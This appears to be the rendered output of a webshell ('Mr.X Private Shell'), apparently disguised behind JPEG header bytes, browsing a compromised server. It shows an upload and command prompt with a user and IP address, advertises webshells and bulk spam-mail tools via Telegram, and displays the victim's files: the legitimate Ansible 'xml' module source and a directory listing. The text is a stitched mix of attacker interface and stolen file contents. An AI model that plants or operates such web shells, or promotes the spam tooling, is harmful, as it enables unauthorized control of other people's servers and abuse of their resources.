����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2014, Red Hat, Inc.
# Copyright (c) 2014, Tim Bielawa <tbielawa@redhat.com>
# Copyright (c) 2014, Magnus Hedemark <mhedemar@redhat.com>
# Copyright (c) 2017, Dag Wieers <dag@wieers.com>
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = r'''
---
module: xml
short_description: Manage bits and pieces of XML files or strings
description:
  - A CRUD-like interface to managing bits of XML files.
extends_documentation_fragment:
  - community.general.attributes
attributes:
  check_mode:
    support: full
  diff_mode:
    support: full
options:
  path:
    description:
    - Path to the file to operate on.
    - This file must exist ahead of time.
    - This parameter is required, unless I(xmlstring) is given.
    type: path
    aliases: [ dest, file ]
  xmlstring:
    description:
    - A string containing XML on which to operate.
    - This parameter is required, unless I(path) is given.
    type: str
  xpath:
    description:
    - A valid XPath expression describing the item(s) you want to manipulate.
    - Operates on the document root, C(/), by default.
    type: str
  namespaces:
    description:
    - The namespace C(prefix:uri) mapping for the XPath expression.
    - Needs to be a C(dict), not a C(list) of items.
    type: dict
    default: {}
  state:
    description:
    - Set or remove an xpath selection (node(s), attribute(s)).
    type: str
    choices: [ absent, present ]
    default: present
    aliases: [ ensure ]
  attribute:
    description:
    - The attribute to select when using parameter I(value).
    - This is a string, not prepended with C(@).
    type: raw
  value:
    description:
    - Desired state of the selected attribute.
    - Either a string, or to unset a value, the Python C(None) keyword (YAML Equivalent, C(null)).
    - Elements default to no value (but present).
    - Attributes default to an empty string.
    type: raw
  add_children:
    description:
    - Add additional child-element(s) to a selected element for a given I(xpath).
    - Child elements must be given in a list and each item may be either a string
      (eg. C(children=ansible) to add an empty C(<ansible/>) child element),
      or a hash where the key is an element name and the value is the element value.
    - This parameter requires I(xpath) to be set.
    type: list
    elements: raw
  set_children:
    description:
    - Set the child-element(s) of a selected element for a given I(xpath).
    - Removes any existing children.
    - Child elements must be specified as in I(add_children).
    - This parameter requires I(xpath) to be set.
    type: list
    elements: raw
  count:
    description:
    - Search for a given I(xpath) and provide the count of any matches.
    - This parameter requires I(xpath) to be set.
    type: bool
    default: false
  print_match:
    description:
    - Search for a given I(xpath) and print out any matches.
    - This parameter requires I(xpath) to be set.
    type: bool
    default: false
  pretty_print:
    description:
    - Pretty print XML output.
    type: bool
    default: false
  content:
    description:
    - Search for a given I(xpath) and get content.
    - This parameter requires I(xpath) to be set.
    type: str
    choices: [ attribute, text ]
  input_type:
    description:
    - Type of input for I(add_children) and I(set_children).
    type: str
    choices: [ xml, yaml ]
    default: yaml
  backup:
    description:
      - Create a backup file including the timestamp information so you can get
        the original file back if you somehow clobbered it incorrectly.
    type: bool
    default: false
  strip_cdata_tags:
    description:
      - Remove CDATA tags surrounding text values.
      - Note that this might break your XML file if text values contain characters that could be interpreted as XML.
    type: bool
    default: false
  insertbefore:
    description:
      - Add additional child-element(s) before the first selected element for a given I(xpath).
      - Child elements must be given in a list and each item may be either a string
        (eg. C(children=ansible) to add an empty C(<ansible/>) child element),
        or a hash where the key is an element name and the value is the element value.
      - This parameter requires I(xpath) to be set.
    type: bool
    default: false
  insertafter:
    description:
      - Add additional child-element(s) after the last selected element for a given I(xpath).
      - Child elements must be given in a list and each item may be either a string
        (eg. C(children=ansible) to add an empty C(<ansible/>) child element),
        or a hash where the key is an element name and the value is the element value.
      - This parameter requires I(xpath) to be set.
    type: bool
    default: false
requirements:
- lxml >= 2.3.0
notes:
- Use the C(--check) and C(--diff) options when testing your expressions.
- The diff output is automatically pretty-printed, so may not reflect the actual file content, only the file structure.
- This module does not handle complicated xpath expressions, so limit xpath selectors to simple expressions.
- Beware that in case your XML elements are namespaced, you need to use the I(namespaces) parameter, see the examples.
- Namespaces prefix should be used for all children of an element where namespace is defined, unless another namespace is defined for them.
seealso:
- name: Xml module development community wiki
  description: More information related to the development of this xml module.
  link: https://github.com/ansible/community/wiki/Module:-xml
- name: Introduction to XPath
  description: A brief tutorial on XPath (w3schools.com).
  link: https://www.w3schools.com/xml/xpath_intro.asp
- name: XPath Reference document
  description: The reference documentation on XSLT/XPath (developer.mozilla.org).
  link: https://developer.mozilla.org/en-US/docs/Web/XPath
author:
- Tim Bielawa (@tbielawa)
- Magnus Hedemark (@magnus919)
- Dag Wieers (@dagwieers)
'''

EXAMPLES = r'''
# Consider the following XML file:
#
# <business type="bar">
#   <name>Tasty Beverage Co.</name>
#     <beers>
#       <beer>Rochefort 10</beer>
#       <beer>St. Bernardus Abbot 12</beer>
#       <beer>Schlitz</beer>
#    </beers>
#   <rating subjective="true">10</rating>
#   <website>
#     <mobilefriendly/>
#     <address>http://tastybeverageco.com</address>
#   </website>
# </business>

- name: Remove the 'subjective' attribute of the 'rating' element
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/rating/@subjective
    state: absent

- name: Set the rating to '11'
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/rating
    value: 11

# Retrieve and display the number of nodes
- name: Get count of 'beers' nodes
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/beers/beer
    count: true
  register: hits

- ansible.builtin.debug:
    var: hits.count

# Example where parent XML nodes are created automatically
- name: Add a 'phonenumber' element to the 'business' element
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/phonenumber
    value: 555-555-1234

- name: Add several more beers to the 'beers' element
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/beers
    add_children:
    - beer: Old Rasputin
    - beer: Old Motor Oil
    - beer: Old Curmudgeon

- name: Add several more beers to the 'beers' element and add them before the 'Rochefort 10' element
  community.general.xml:
    path: /foo/bar.xml
    xpath: '/business/beers/beer[text()="Rochefort 10"]'
    insertbefore: true
    add_children:
    - beer: Old Rasputin
    - beer: Old Motor Oil
    - beer: Old Curmudgeon

# NOTE: The 'state' defaults to 'present' and 'value' defaults to 'null' for elements
- name: Add a 'validxhtml' element to the 'website' element
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/website/validxhtml

- name: Add an empty 'validatedon' attribute to the 'validxhtml' element
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/website/validxhtml/@validatedon

- name: Add or modify an attribute, add element if needed
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/website/validxhtml
    attribute: validatedon
    value: 1976-08-05

# How to read an attribute value and access it in Ansible
- name: Read an element's attribute values
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/website/validxhtml
    content: attribute
  register: xmlresp

- name: Show an attribute value
  ansible.builtin.debug:
    var: xmlresp.matches[0].validxhtml.validatedon

- name: Remove all children from the 'website' element (option 1)
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/website/*
    state: absent

- name: Remove all children from the 'website' element (option 2)
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business/website
    set_children: []

# In case of namespaces, like in below XML, they have to be explicitly stated.
#
# <foo xmlns="http://x.test" xmlns:attr="http://z.test">
#   <bar>
#     <baz xmlns="http://y.test" attr:my_namespaced_attribute="true" />
#   </bar>
# </foo>

# NOTE: There is the prefix 'x' in front of the 'bar' element, too.
- name: Set namespaced '/x:foo/x:bar/y:baz/@z:my_namespaced_attribute' to 'false'
  community.general.xml:
    path: foo.xml
    xpath: /x:foo/x:bar/y:baz
    namespaces:
      x: http://x.test
      y: http://y.test
      z: http://z.test
    attribute: z:my_namespaced_attribute
    value: 'false'

- name: Adding building nodes with floor subnodes from a YAML variable
  community.general.xml:
    path: /foo/bar.xml
    xpath: /business
    add_children:
      - building:
          # Attributes
          name: Scumm bar
          location: Monkey island
          # Subnodes
          _:
            - floor: Pirate hall
            - floor: Grog storage
            - construction_date: "1990"  # Only strings are valid
      - building: Grog factory

# Consider this XML for following example -
#
# <config>
#   <element name="test1">
#     <text>part to remove</text>
#   </element>
#   <element name="test2">
#     <text>part to keep</text>
#   </element>
# </config>

- name: Delete element node based upon attribute
  community.general.xml:
    path: bar.xml
    xpath: /config/element[@name='test1']
    state: absent
'''

RETURN = r'''
actions:
    description: A dictionary with the original xpath, namespaces and state.
    type: dict
    returned: success
    sample: {xpath: xpath, namespaces: [namespace1, namespace2], state=present}
backup_file:
    description: The name of the backup file that was created
    type: str
    returned: when I(backup=true)
    sample: /path/to/file.xml.1942.2017-08-24@14:16:01~
count:
    description: The count of xpath matches.
    type: int
    returned: when parameter 'count' is set
    sample: 2
matches:
    description: The xpath matches found.
    type: list
    returned: when parameter 'print_match' is set
msg:
    description: A message related to the performed action(s).
    type: str
    returned: always
xmlstring:
    description: An XML string of the resulting output.
    type: str
    returned: when parameter 'xmlstring' is set
'''

import copy
import json
import os
import re
import traceback

from io import BytesIO

from ansible_collections.community.general.plugins.module_utils.version import LooseVersion

LXML_IMP_ERR = None
try:
    from lxml import etree, objectify
    HAS_LXML = True
except ImportError:
    LXML_IMP_ERR = traceback.format_exc()
    HAS_LXML = False

from ansible.module_utils.basic import AnsibleModule, json_dict_bytes_to_unicode, missing_required_lib
from ansible.module_utils.six import iteritems, string_types
from ansible.module_utils.common.text.converters import to_bytes, to_native
from ansible.module_utils.common._collections_compat import MutableMapping

_IDENT = r"[a-zA-Z-][a-zA-Z0-9_\-\.]*"
_NSIDENT = _IDENT + "|" + _IDENT + ":" + _IDENT
# Note: we can't reasonably support the 'if you need to put both ' and " in a string, concatenate
# strings wrapped by the other delimiter' XPath trick, especially as simple XPath.
_XPSTR = "('(?:.*)'|\"(?:.*)\")"

_RE_SPLITSIMPLELAST = re.compile("^(.*)/(" + _NSIDENT + ")$")
_RE_SPLITSIMPLELASTEQVALUE = re.compile("^(.*)/(" + _NSIDENT + ")/text\\(\\)=" + _XPSTR + "$")
_RE_SPLITSIMPLEATTRLAST = re.compile("^(.*)/(@(?:" + _NSIDENT + "))$")
_RE_SPLITSIMPLEATTRLASTEQVALUE = re.compile("^(.*)/(@(?:" + _NSIDENT + "))=" + _XPSTR + "$")
_RE_SPLITSUBLAST = re.compile("^(.*)/(" + _NSIDENT + ")\\[(.*)\\]$")
_RE_SPLITONLYEQVALUE = re.compile("^(.*)/text\\(\\)=" + _XPSTR + "$")


def has_changed(doc):
    orig_obj = etree.tostring(objectify.fromstring(etree.tostring(orig_doc)))
    obj = etree.tostring(objectify.fromstring(etree.tostring(doc)))
    return (orig_obj != obj)


def do_print_match(module, tree, xpath, namespaces):
    match = tree.xpath(xpath, namespaces=namespaces)
    match_xpaths = []
    for m in match:
        match_xpaths.append(tree.getpath(m))
    match_str = json.dumps(match_xpaths)
    msg = "selector '%s' match: %s" % (xpath, match_str)
    finish(module, tree, xpath, namespaces, changed=False, msg=msg)


def count_nodes(module, tree, xpath, namespaces):
    """ Return the count of nodes matching the xpath """
    hits = tree.xpath("count(/%s)" % xpath, namespaces=namespaces)
    msg = "found %d nodes" % hits
    finish(module, tree, xpath, namespaces, changed=False, msg=msg, hitcount=int(hits))


def is_node(tree, xpath, namespaces):
    """ Test if a given xpath matches anything and if that match is a node.

    For now we just assume you're only searching for one specific thing."""
    if xpath_matches(tree, xpath, namespaces):
        # OK, it found something
        match = tree.xpath(xpath, namespaces=namespaces)
        if isinstance(match[0], etree._Element):
            return True

    return False


def is_attribute(tree, xpath, namespaces):
    """ Test if a given xpath matches and that match is an attribute

    An xpath attribute search will only match one item"""
    if xpath_matches(tree, xpath, namespaces):
        match = tree.xpath(xpath, namespaces=namespaces)
        if isinstance(match[0], etree._ElementStringResult):
            return True
        elif isinstance(match[0], etree._ElementUnicodeResult):
            return True
    return False


def xpath_matches(tree, xpath, namespaces):
    """ Test if a node exists """
    if tree.xpath(xpath, namespaces=namespaces):
        return True
    return False


def delete_xpath_target(module, tree, xpath, namespaces):
    """ Delete an attribute or element from a tree """
    changed = False
    try:
        for result in tree.xpath(xpath, namespaces=namespaces):
            changed = True
            # Get the xpath for this result
            if is_attribute(tree, xpath, namespaces):
                # Delete an attribute
                parent = result.getparent()
                # Pop this attribute match out of the parent
                # node's 'attrib' dict by using this match's
                # 'attrname' attribute for the key
                parent.attrib.pop(result.attrname)
            elif is_node(tree, xpath, namespaces):
                # Delete an element
                result.getparent().remove(result)
            else:
                raise Exception("Impossible error")
    except Exception as e:
        module.fail_json(msg="Couldn't delete xpath target: %s (%s)" % (xpath, e))
    else:
        finish(module, tree, xpath, namespaces, changed=changed)


def replace_children_of(children, match):
    for element in list(match):
        match.remove(element)
    match.extend(children)


def set_target_children_inner(module, tree, xpath, namespaces, children, in_type):
    matches = tree.xpath(xpath, namespaces=namespaces)

    # Create a list of our new children
    children = children_to_nodes(module, children, in_type)
    children_as_string = [etree.tostring(c) for c in children]

    changed = False

    # xpaths always return matches as a list, so....
    for match in matches:
        # Check if elements differ
        if len(list(match)) == len(children):
            for idx, element in enumerate(list(match)):
                if etree.tostring(element) != children_as_string[idx]:
                    replace_children_of(children, match)
                    changed = True
                    break
        else:
            replace_children_of(children, match)
            changed = True

    return changed


def set_target_children(module, tree, xpath, namespaces, children, in_type):
    changed = set_target_children_inner(module, tree, xpath, namespaces, children, in_type)
    # Write it out
    finish(module, tree, xpath, namespaces, changed=changed)


def add_target_children(module, tree, xpath, namespaces, children, in_type, insertbefore, insertafter):
    if is_node(tree, xpath, namespaces):
        new_kids = children_to_nodes(module, children, in_type)
        if insertbefore or insertafter:
            insert_target_children(tree, xpath, namespaces, new_kids, insertbefore, insertafter)
        else:
            for node in tree.xpath(xpath, namespaces=namespaces):
                node.extend(new_kids)
        finish(module, tree, xpath, namespaces, changed=True)
    else:
        finish(module, tree, xpath, namespaces)


def insert_target_children(tree, xpath, namespaces, children, insertbefore, insertafter):
    """
    Insert the given children before or after the given xpath. If insertbefore is True, it is inserted before the
    first xpath hit, with insertafter, it is inserted after the last xpath hit.
    """
    insert_target = tree.xpath(xpath, namespaces=namespaces)
    loc_index = 0 if insertbefore else -1
    index_in_parent = insert_target[loc_index].getparent().index(insert_target[loc_index])
    parent = insert_target[0].getparent()
    if insertafter:
        index_in_parent += 1
    for child in children:
        parent.insert(index_in_parent, child)
        index_in_parent += 1


def _extract_xpstr(g):
    return g[1:-1]


def split_xpath_last(xpath):
    """split an XPath of the form /foo/bar/baz into /foo/bar and baz"""
    xpath = xpath.strip()
    m = _RE_SPLITSIMPLELAST.match(xpath)
    if m:
        # requesting an element to exist
        return (m.group(1), [(m.group(2), None)])
    m = _RE_SPLITSIMPLELASTEQVALUE.match(xpath)
    if m:
        # requesting an element to exist with an inner text
        return (m.group(1), [(m.group(2), _extract_xpstr(m.group(3)))])

    m = _RE_SPLITSIMPLEATTRLAST.match(xpath)
    if m:
        # requesting an attribute to exist
        return (m.group(1), [(m.group(2), None)])
    m = _RE_SPLITSIMPLEATTRLASTEQVALUE.match(xpath)
    if m:
        # requesting an attribute to exist with a value
        return (m.group(1), [(m.group(2), _extract_xpstr(m.group(3)))])

    m = _RE_SPLITSUBLAST.match(xpath)
    if m:
        content = [x.strip() for x in m.group(3).split(" and ")]
        return (m.group(1), [('/' + m.group(2), content)])

    m = _RE_SPLITONLYEQVALUE.match(xpath)
    if m:
        # requesting a change of inner text
        return (m.group(1), [("", _extract_xpstr(m.group(2)))])
    return (xpath, [])


def nsnameToClark(name, namespaces):
    if ":" in name:
        (nsname, rawname) = name.split(":")
        # return "{{%s}}%s" % (namespaces[nsname], rawname)
        return "{{{0}}}{1}".format(namespaces[nsname], rawname)

    # no namespace name here
    return name


def check_or_make_target(module, tree, xpath, namespaces):
    (inner_xpath, changes) = split_xpath_last(xpath)
    if (inner_xpath == xpath) or (changes is None):
        module.fail_json(msg="Can't process Xpath %s in order to spawn nodes! tree is %s" %
                             (xpath, etree.tostring(tree, pretty_print=True)))
        return False

    changed = False

    if not is_node(tree, inner_xpath, namespaces):
        changed = check_or_make_target(module, tree, inner_xpath, namespaces)

    # we test again after calling check_or_make_target
    if is_node(tree, inner_xpath, namespaces) and changes:
        for (eoa, eoa_value) in changes:
            if eoa and eoa[0] != '@' and eoa[0] != '/':
                # implicitly creating an element
                new_kids = children_to_nodes(module, [nsnameToClark(eoa, namespaces)], "yaml")
                if eoa_value:
                    for nk in new_kids:
                        nk.text = eoa_value

                for node in tree.xpath(inner_xpath, namespaces=namespaces):
                    node.extend(new_kids)
                    changed = True
                # module.fail_json(msg="now tree=%s" % etree.tostring(tree, pretty_print=True))
            elif eoa and eoa[0] == '/':
                element = eoa[1:]
                new_kids = children_to_nodes(module, [nsnameToClark(element, namespaces)], "yaml")
                for node in tree.xpath(inner_xpath, namespaces=namespaces):
                    node.extend(new_kids)
                    for nk in new_kids:
                        for subexpr in eoa_value:
                            # module.fail_json(msg="element=%s subexpr=%s node=%s now tree=%s" %
                            #                      (element, subexpr, etree.tostring(node, pretty_print=True), etree.tostring(tree, pretty_print=True))
                            check_or_make_target(module, nk, "./" + subexpr, namespaces)
                    changed = True

                # module.fail_json(msg="now tree=%s" % etree.tostring(tree, pretty_print=True))
            elif eoa == "":
                for node in tree.xpath(inner_xpath, namespaces=namespaces):
                    if (node.text != eoa_value):
                        node.text = eoa_value
                        changed = True

            elif eoa and eoa[0] == '@':
                attribute = nsnameToClark(eoa[1:], namespaces)

                for element in tree.xpath(inner_xpath, namespaces=namespaces):
                    changing = (attribute not in element.attrib or element.attrib[attribute] != eoa_value)

                    if changing:
                        changed = changed or changing
                        if eoa_value is None:
                            value = ""
                        else:
                            value = eoa_value
                        element.attrib[attribute] = value

                    # module.fail_json(msg="arf %s changing=%s as curval=%s changed tree=%s" %
                    #       (xpath, changing, etree.tostring(tree, changing, element[attribute], pretty_print=True)))

            else:
                module.fail_json(msg="unknown tree transformation=%s" % etree.tostring(tree, pretty_print=True))

    return changed


def ensure_xpath_exists(module, tree, xpath, namespaces):
    changed = False

    if not is_node(tree, xpath, namespaces):
        changed = check_or_make_target(module, tree, xpath, namespaces)

    finish(module, tree, xpath, namespaces, changed)


def set_target_inner(module, tree, xpath, namespaces, attribute, value):
    changed = False

    try:
        if not is_node(tree, xpath, namespaces):
            changed = check_or_make_target(module, tree, xpath, namespaces)
    except Exception as e:
        missing_namespace = ""
        # NOTE: This checks only the namespaces defined in root element!
        # TODO: Implement a more robust check to check for child namespaces' existence
        if tree.getroot().nsmap and ":" not in xpath:
            missing_namespace = "XML document has namespace(s) defined, but no namespace prefix(es) used in xpath!\n"
        module.fail_json(msg="%sXpath %s causes a failure: %s\n  -- tree is %s" %
                             (missing_namespace, xpath, e, etree.tostring(tree, pretty_print=True)), exception=traceback.format_exc())

    if not is_node(tree, xpath, namespaces):
        module.fail_json(msg="Xpath %s does not reference a node! tree is %s" %
                             (xpath, etree.tostring(tree, pretty_print=True)))

    for element in tree.xpath(xpath, namespaces=namespaces):
        if not attribute:
            changed = changed or (element.text != value)
            if element.text != value:
                element.text = value
        else:
            changed = changed or (element.get(attribute) != value)
            if ":" in attribute:
                attr_ns, attr_name = attribute.split(":")
                # attribute = "{{%s}}%s" % (namespaces[attr_ns], attr_name)
                attribute = "{{{0}}}{1}".format(namespaces[attr_ns], attr_name)
            if element.get(attribute) != value:
                element.set(attribute, value)

    return changed


def set_target(module, tree, xpath, namespaces, attribute, value):
    changed = set_target_inner(module, tree, xpath, namespaces, attribute, value)
    finish(module, tree, xpath, namespaces, changed)


def get_element_text(module, tree, xpath, namespaces):
    if not is_node(tree, xpath, namespaces):
        module.fail_json(msg="Xpath %s does not reference a node!" % xpath)

    elements = []
    for element in tree.xpath(xpath, namespaces=namespaces):
        elements.append({element.tag: element.text})

    finish(module, tree, xpath, namespaces, changed=False, msg=len(elements), hitcount=len(elements), matches=elements)


def get_element_attr(module, tree, xpath, namespaces):
    if not is_node(tree, xpath, namespaces):
        module.fail_json(msg="Xpath %s does not reference a node!" % xpath)

    elements = []
    for element in tree.xpath(xpath, namespaces=namespaces):
        child = {}
        for key in element.keys():
            value = element.get(key)
            child.update({key: value})
        elements.append({element.tag: child})

    finish(module, tree, xpath, namespaces, changed=False, msg=len(elements), hitcount=len(elements), matches=elements)


def child_to_element(module, child, in_type):
    if in_type == 'xml':
        infile = BytesIO(to_bytes(child, errors='surrogate_or_strict'))

        try:
            parser = etree.XMLParser()
            node = etree.parse(infile, parser)
            return node.getroot()
        except etree.XMLSyntaxError as e:
            module.fail_json(msg="Error while parsing child element: %s" % e)
    elif in_type == 'yaml':
        if isinstance(child, string_types):
            return etree.Element(child)
        elif isinstance(child, MutableMapping):
            if len(child) > 1:
                module.fail_json(msg="Can only create children from hashes with one key")

            (key, value) = next(iteritems(child))
            if isinstance(value, MutableMapping):
                children = value.pop('_', None)

                node = etree.Element(key, value)

                if children is not None:
                    if not isinstance(children, list):
                        module.fail_json(msg="Invalid children type: %s, must be list." % type(children))

                    subnodes = children_to_nodes(module, children)
                    node.extend(subnodes)
            else:
                node = etree.Element(key)
                node.text = value
            return node
        else:
            module.fail_json(msg="Invalid child type: %s. Children must be either strings or hashes." % type(child))
    else:
        module.fail_json(msg="Invalid child input type: %s. Type must be either xml or yaml." % in_type)


def children_to_nodes(module=None, children=None, type='yaml'):
    """turn a str/hash/list of str&hash into a list of elements"""
    children = [] if children is None else children

    return [child_to_element(module, child, type) for child in children]


def make_pretty(module, tree):
    xml_string = etree.tostring(tree, xml_declaration=True, encoding='UTF-8', pretty_print=module.params['pretty_print'])

    result = dict(
        changed=False,
    )

    if module.params['path']:
        xml_file = module.params['path']
        with open(xml_file, 'rb') as xml_content:
            if xml_string != xml_content.read():
                result['changed'] = True
                if not module.check_mode:
                    if module.params['backup']:
                        result['backup_file'] = module.backup_local(module.params['path'])
                    tree.write(xml_file, xml_declaration=True, encoding='UTF-8', pretty_print=module.params['pretty_print'])

    elif module.params['xmlstring']:
        result['xmlstring'] = xml_string
        # NOTE: Modifying a string is not considered a change !
        if xml_string != module.params['xmlstring']:
            result['changed'] = True

    module.exit_json(**result)


def finish(module, tree, xpath, namespaces, changed=False, msg='', hitcount=0, matches=tuple()):

    result = dict(
        actions=dict(
            xpath=xpath,
            namespaces=namespaces,
            state=module.params['state']
        ),
        changed=has_changed(tree),
    )

    if module.params['count'] or hitcount:
        result['count'] = hitcount

    if module.params['print_match'] or matches:
        result['matches'] = matches

    if msg:
        result['msg'] = msg

    if result['changed']:
        if module._diff:
            result['diff'] = dict(
                before=etree.tostring(orig_doc, xml_declaration=True, encoding='UTF-8', pretty_print=True),
                after=etree.tostring(tree, xml_declaration=True, encoding='UTF-8', pretty_print=True),
            )

        if module.params['path'] and not module.check_mode:
            if module.params['backup']:
                result['backup_file'] = module.backup_local(module.params['path'])
            tree.write(module.params['path'], xml_declaration=True, encoding='UTF-8', pretty_print=module.params['pretty_print'])

    if module.params['xmlstring']:
        result['xmlstring'] = etree.tostring(tree, xml_declaration=True, encoding='UTF-8', pretty_print=module.params['pretty_print'])

    module.exit_json(**result)


def main():
    module = AnsibleModule(
        argument_spec=dict(
            path=dict(type='path', aliases=['dest', 'file']),
            xmlstring=dict(type='str'),
            xpath=dict(type='str'),
            namespaces=dict(type='dict', default={}),
            state=dict(type='str', default='present', choices=['absent', 'present'], aliases=['ensure']),
            value=dict(type='raw'),
            attribute=dict(type='raw'),
            add_children=dict(type='list', elements='raw'),
            set_children=dict(type='list', elements='raw'),
            count=dict(type='bool', default=False),
            print_match=dict(type='bool', default=False),
            pretty_print=dict(type='bool', default=False),
            content=dict(type='str', choices=['attribute', 'text']),
            input_type=dict(type='str', default='yaml', choices=['xml', 'yaml']),
            backup=dict(type='bool', default=False),
            strip_cdata_tags=dict(type='bool', default=False),
            insertbefore=dict(type='bool', default=False),
            insertafter=dict(type='bool', default=False),
        ),
        supports_check_mode=True,
        required_by=dict(
            add_children=['xpath'],
            attribute=['value'],
            content=['xpath'],
            set_children=['xpath'],
            value=['xpath'],
        ),
        required_if=[
            ['count', True, ['xpath']],
            ['print_match', True, ['xpath']],
            ['insertbefore', True, ['xpath']],
            ['insertafter', True, ['xpath']],
        ],
        required_one_of=[
            ['path', 'xmlstring'],
            ['add_children', 'content', 'count', 'pretty_print', 'print_match', 'set_children', 'value'],
        ],
        mutually_exclusive=[
            ['add_children', 'content', 'count', 'print_match', 'set_children', 'value'],
            ['path', 'xmlstring'],
            ['insertbefore', 'insertafter'],
        ],
    )

    xml_file = module.params['path']
    xml_string = module.params['xmlstring']
    xpath = module.params['xpath']
    namespaces = module.params['namespaces']
    state = module.params['state']
    value = json_dict_bytes_to_unicode(module.params['value'])
    attribute = module.params['attribute']
    set_children = json_dict_bytes_to_unicode(module.params['set_children'])
    add_children = json_dict_bytes_to_unicode(module.params['add_children'])
    pretty_print = module.params['pretty_print']
    content = module.params['content']
    input_type = module.params['input_type']
    print_match = module.params['print_match']
    count = module.params['count']
    backup = module.params['backup']
    strip_cdata_tags = module.params['strip_cdata_tags']
    insertbefore = module.params['insertbefore']
    insertafter = module.params['insertafter']

    # Check if we have lxml 2.3.0 or newer installed
    if not HAS_LXML:
        module.fail_json(msg=missing_required_lib("lxml"), exception=LXML_IMP_ERR)
    elif LooseVersion('.'.join(to_native(f) for f in etree.LXML_VERSION)) < LooseVersion('2.3.0'):
        module.fail_json(msg='The xml ansible module requires lxml 2.3.0 or newer installed on the managed machine')
    elif LooseVersion('.'.join(to_native(f) for f in etree.LXML_VERSION)) < LooseVersion('3.0.0'):
        module.warn('Using lxml version lower than 3.0.0 does not guarantee predictable element attribute order.')

    # Check if the file exists
    if xml_string:
        infile = BytesIO(to_bytes(xml_string, errors='surrogate_or_strict'))
    elif os.path.isfile(xml_file):
        infile = open(xml_file, 'rb')
    else:
        module.fail_json(msg="The target XML source '%s' does not exist." % xml_file)

    # Parse and evaluate xpath expression
    if xpath is not None:
        try:
            etree.XPath(xpath)
        except etree.XPathSyntaxError as e:
            module.fail_json(msg="Syntax error in xpath expression: %s (%s)" % (xpath, e))
        except etree.XPathEvalError as e:
            module.fail_json(msg="Evaluation error in xpath expression: %s (%s)" % (xpath, e))

    # Try to parse in the target XML file
    try:
        parser = etree.XMLParser(remove_blank_text=pretty_print, strip_cdata=strip_cdata_tags)
        doc = etree.parse(infile, parser)
    except etree.XMLSyntaxError as e:
        module.fail_json(msg="Error while parsing document: %s (%s)" % (xml_file or 'xml_string', e))

    # Ensure we have the original copy to compare
    global orig_doc
    orig_doc = copy.deepcopy(doc)

    if print_match:
        do_print_match(module, doc, xpath, namespaces)

    if count:
        count_nodes(module, doc, xpath, namespaces)

    if content == 'attribute':
        get_element_attr(module, doc, xpath, namespaces)
    elif content == 'text':
        get_element_text(module, doc, xpath, namespaces)

    # File exists:
    if state == 'absent':
        # - absent: delete xpath target
        delete_xpath_target(module, doc, xpath, namespaces)

    # - present: carry on

    # children && value both set?: should have already aborted by now
    # add_children && set_children both set?: should have already aborted by now

    # set_children set?
    if set_children is not None:
        set_target_children(module, doc, xpath, namespaces, set_children, input_type)

    # add_children set?
    if add_children:
        add_target_children(module, doc, xpath, namespaces, add_children, input_type, insertbefore, insertafter)

    # No?: Carry on

    # Is the xpath target an attribute selector?
    if value is not None:
        set_target(module, doc, xpath, namespaces, attribute, value)

    # If an xpath was provided, we need to do something with the data
    if xpath is not None:
        ensure_xpath_exists(module, doc, xpath, namespaces)

    # Otherwise only reformat the xml data?
    if pretty_print:
        make_pretty(module, doc)

    module.fail_json(msg="Don't know what to do")


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
aerospike_migrations.py File 18.75 KB 0644
airbrake_deployment.py File 4.8 KB 0644
aix_devices.py File 9.89 KB 0644
aix_filesystem.py File 17.48 KB 0644
aix_inittab.py File 7.33 KB 0644
aix_lvg.py File 11 KB 0644
aix_lvol.py File 10.54 KB 0644
alerta_customer.py File 6.61 KB 0644
ali_instance.py File 39.51 KB 0644
ali_instance_info.py File 13.79 KB 0644
alternatives.py File 14.23 KB 0644
ansible_galaxy_install.py File 15.21 KB 0644
apache2_mod_proxy.py File 16.85 KB 0644
apache2_module.py File 8.95 KB 0644
apk.py File 12.07 KB 0644
apt_repo.py File 3.71 KB 0644
apt_rpm.py File 7.75 KB 0644
archive.py File 22.65 KB 0644
atomic_container.py File 6.69 KB 0644
atomic_host.py File 2.8 KB 0644
atomic_image.py File 5.3 KB 0644
awall.py File 4.61 KB 0644
beadm.py File 11.87 KB 0644
bearychat.py File 5.36 KB 0644
bigpanda.py File 6.32 KB 0644
bitbucket_access_key.py File 8.75 KB 0644
bitbucket_pipeline_key_pair.py File 5.95 KB 0644
bitbucket_pipeline_known_host.py File 8.8 KB 0644
bitbucket_pipeline_variable.py File 8.6 KB 0644
bower.py File 6.78 KB 0644
btrfs_info.py File 3.08 KB 0644
btrfs_subvolume.py File 28.14 KB 0644
bundler.py File 6.98 KB 0644
bzr.py File 6.02 KB 0644
campfire.py File 5.15 KB 0644
capabilities.py File 6.8 KB 0644
